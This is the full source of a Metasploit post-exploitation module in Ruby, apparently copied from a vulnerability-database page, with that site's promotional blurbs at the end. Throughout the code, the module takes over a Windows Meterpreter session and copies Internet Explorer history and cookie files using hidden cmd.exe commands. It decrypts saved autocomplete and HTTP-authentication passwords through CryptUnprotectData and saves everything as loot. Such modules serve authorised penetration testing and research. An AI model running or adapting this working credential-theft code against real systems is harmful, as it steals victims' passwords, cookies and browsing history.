##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Internet Explorer User Data Enumeration',
'Description' => %q{
This module will collect history, cookies, and credentials (from either HTTP
auth passwords, or saved form passwords found in auto-complete) in
Internet Explorer. The ability to gather credentials is only supported
for versions of IE >=7, while history and cookies can be extracted for all
versions.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499'],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_fs_stat
stdapi_railgun_api
stdapi_sys_config_getenv
stdapi_sys_config_sysinfo
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_read
stdapi_sys_process_memory_write
]
}
}
)
)
end
#
# RAILGUN HELPER FUNCTIONS
#
def is_86
pid = session.sys.process.open.pid
return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
end
def pack_add(data)
if is_86
addr = [data].pack('V')
else
addr = [data].pack('Q<')
end
return addr
end
def mem_write(data, length)
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(length)
process.memory.write(mem, data)
return mem
end
def read_str(address, len, type)
begin
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
raw = process.memory.read(address, len)
if type == 0 # unicode
str_data = raw.gsub("\x00", '')
elsif type == 1 # null terminated
str_data = raw.unpack('Z*')[0]
elsif type == 2 # raw data
str_data = raw
end
rescue StandardError
str_data = nil
end
return str_data || 'Error Decrypting'
end
#
# DECRYPT FUNCTIONS
#
def decrypt_reg(entropy, data)
c32 = session.railgun.crypt32
# set up entropy
salt = []
entropy.each_byte do |c|
salt << c
end
ent = salt.pack('v*')
# save values to memory and pack addresses
mem = mem_write(data, 1024)
mem2 = mem_write(ent, 1024)
addr = pack_add(mem)
len = pack_add(data.length)
eaddr = pack_add(mem2)
elen = pack_add((entropy.length + 1) * 2)
# cal railgun to decrypt
if is_86
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)
len, add = ret['pDataOut'].unpack('V2')
else
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)
len, add = ret['pDataOut'].unpack('Q2')
end
return '' unless ret['return']
return read_str(add, len, 2)
end
def decrypt_cred(daddr, dlen)
c32 = session.railgun.crypt32
# set up entropy
guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'
ent_sz = 74
salt = []
guid.each_byte do |c|
salt << c * 4
end
ent = salt.pack('v*')
# write entropy to memory and pack addresses
mem = mem_write(ent, 1024)
addr = pack_add(daddr)
len = pack_add(dlen)
eaddr = pack_add(mem)
elen = pack_add(ent_sz)
# prep vars and call function
if is_86
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
len, add = ret['pDataOut'].unpack('V2')
else
ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
len, add = ret['pDataOut'].unpack('Q<2')
end
# get data, and return it
return '' unless ret['return']
return read_str(add, len, 0)
end
#
# Extract IE Data Functions
#
def get_stuff(path, history)
t = DateTime.new(1601, 1, 1, 0, 0, 0)
tmpout = ''
if history
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m
else # get cookies
re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m
end
outfile = session.fs.file.new(path, 'rb')
until outfile.eof?
begin
tmpout << outfile.read
rescue StandardError
nil
end
end
outfile.close
urls = tmpout.scan(re)
urls.each do |url|
# date modified
hist = {}
origh = url[0].unpack('H*')[0]
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
newh = harr.reverse.join
hfloat = newh.hex.to_f
sec = hfloat / 10000000
days = sec / 86400
timestamp = t + days
hist['dtmod'] = timestamp.to_s
# date accessed
origh = url[1].unpack('H*')[0]
harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)
newh = harr.reverse.join
hfloat = newh.hex.to_f
sec = hfloat / 10000000
days = sec / 86400
timestamp = t + days
hist['dtacc'] = timestamp.to_s
hist['url'] = url[2]
if history
@hist_col << hist
@hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]
else
@cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]
end
end
end
def hash_url(url)
rg_advapi = session.railgun.advapi32
tail = 0
prov = 'Microsoft Enhanced Cryptographic Provider v1.0'
flag = 0xF0000000
context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)
h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)
hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)
hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)
hval_arr = hparam['pbData'].unpack('C*')
hval = hparam['pbData'].unpack('H*')[0]
rg_advapi.CryptDestroyHash(h['phHash'])
rg_advapi.CryptReleaseContext(context['phProv'], 0)
tail = hval_arr.inject(0) { |s, v| s += v }
htail = ('%02x' % tail)[-2, 2]
return "#{hval}#{htail}"
end
def run
# check for meterpreter and version of ie
if (session.type != 'meterpreter') && session.platform !~ (/win/)
print_error('This module only works with Windows Meterpreter sessions')
return 0
end
# get version of ie and check it
ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')
print_status("IE Version: #{ver}")
if ver =~ /(6\.|5\.)/
print_error('This module will only extract credentials for >= IE7')
end
# setup tables
@hist_table = Rex::Text::Table.new(
'Header' => 'History data',
'Indent' => 1,
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
)
@cook_table = Rex::Text::Table.new(
'Header' => 'Cookies data',
'Indent' => 1,
'Columns' => ['Date Modified', 'Date Accessed', 'Url']
)
cred_table = Rex::Text::Table.new(
'Header' => 'Credential data',
'Indent' => 1,
'Columns' => ['Type', 'Url', 'User', 'Pass']
)
# set up vars
host = session.sys.config.sysinfo
@hist_col = []
# set paths
regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'
vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'
vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'
xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'
vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'
vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'
xp_c = '\\Cookies\\index.dat'
h_paths = []
c_paths = []
base = session.sys.config.getenv('USERPROFILE')
if host['OS'] =~ /(Windows 7|2008|Vista)/
h_paths << base + vist_h
h_paths << base + vist_hlow
c_paths << base + vist_c
c_paths << base + vist_clow
else
h_paths << base + xp_h
c_paths << base + xp_c
end
# Get history and cookies
print_status('Retrieving history.....')
h_paths.each do |hpath|
next unless session.fs.file.exist?(hpath)
print_line("\tFile: #{hpath}")
# copy file
cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
# loop until cmd is done
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
# end
sleep(1)
# get stuff and delete
get_stuff("#{base}\\index.dat", true)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
end
print_status('Retrieving cookies.....')
c_paths.each do |cpath|
next unless session.fs.file.exist?(cpath)
print_line("\tFile: #{cpath}")
# copy file
cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""
r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })
# loop until cmd is done
# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}
# end
sleep(1)
# get stuff and delete
get_stuff("#{base}\\index.dat", false)
cmd = "cmd.exe /c del \"#{base}\\index.dat\""
session.sys.process.execute(cmd, nil, { 'Hidden' => true })
end
# get autocomplete creds
print_status('Looping through history to find autocomplete data....')
val_arr = registry_enumvals(regpath)
if val_arr
@hist_col.each do |hitem|
url = hitem['url'].split('?')[0].downcase
hash = hash_url(url).upcase
next unless val_arr.include?(hash)
data = registry_getvaldata(regpath, hash)
dec = decrypt_reg(url, data)
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
# returning an array of nils. If this happens, we can cause an "undefined method
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
next if dec.empty?
# decode data and add to creds array
header = dec.unpack('VVVVVV')
offset = header[0] + header[1] # offset to start of data
cnt = header[5] / 2 # of username/password combinations
secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")
for i in (0..cnt).step(2)
cred = {}
cred['type'] = 'Auto Complete'
cred['url'] = url
cred['user'] = secrets[i].gsub("\x00", '')
cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
end
end
else
print_error('No autocomplete entries found in registry')
end
# get creds from credential store
print_status('Looking in the Credential Store for HTTP Authentication Creds...')
# get data from credential store
ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)
p_to_arr = ret['Credentials'].unpack('V')
arr_len = ret['Count'] * 4 if is_86
arr_len = ret['Count'] * 8 unless is_86
# read array of addresses as pointers to each structure
raw = read_str(p_to_arr[0], arr_len, 2)
pcred_array = raw.unpack('V*') if is_86
pcred_array = raw.unpack('Q<*') unless is_86
# loop through the addresses and read each credential structure
pcred_array.each do |pcred|
raw = read_str(pcred, 52, 2)
cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86
cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86
location = read_str(cred_struct[2], 512, 1)
next unless location.include? 'Microsoft_WinInet'
decrypted = decrypt_cred(cred_struct[6], cred_struct[5])
cred = {}
cred['type'] = 'Credential Store'
cred['url'] = location.gsub('Microsoft_WinInet_', '')
cred['user'] = decrypted.split(':')[0] || 'No Data'
cred['pass'] = decrypted.split(':')[1] || 'No Data'
cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]
end
# store data in loot
if !@hist_table.rows.empty?
print_status('Writing history to loot...')
path = store_loot(
'ie.history',
'text/plain',
session,
@hist_table,
'ie_history.txt',
'Internet Explorer Browsing History'
)
print_good("Data saved in: #{path}")
end
if !@cook_table.rows.empty?
print_status('Writing cookies to loot...')
path = store_loot(
'ie.cookies',
'text/plain',
session,
@cook_table,
'ie_cookies.txt',
'Internet Explorer Cookies'
)
print_good("Data saved in: #{path}")
end
if !cred_table.rows.empty?
print_status('Writing gathered credentials to loot...')
path = store_loot(
'ie.user.creds',
'text/plain',
session,
cred_table,
'ie_creds.txt',
'Internet Explorer User Credentials'
)
print_good("Data saved in: #{path}")
# print creds
print_line('')
print_line(cred_table.to_s)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation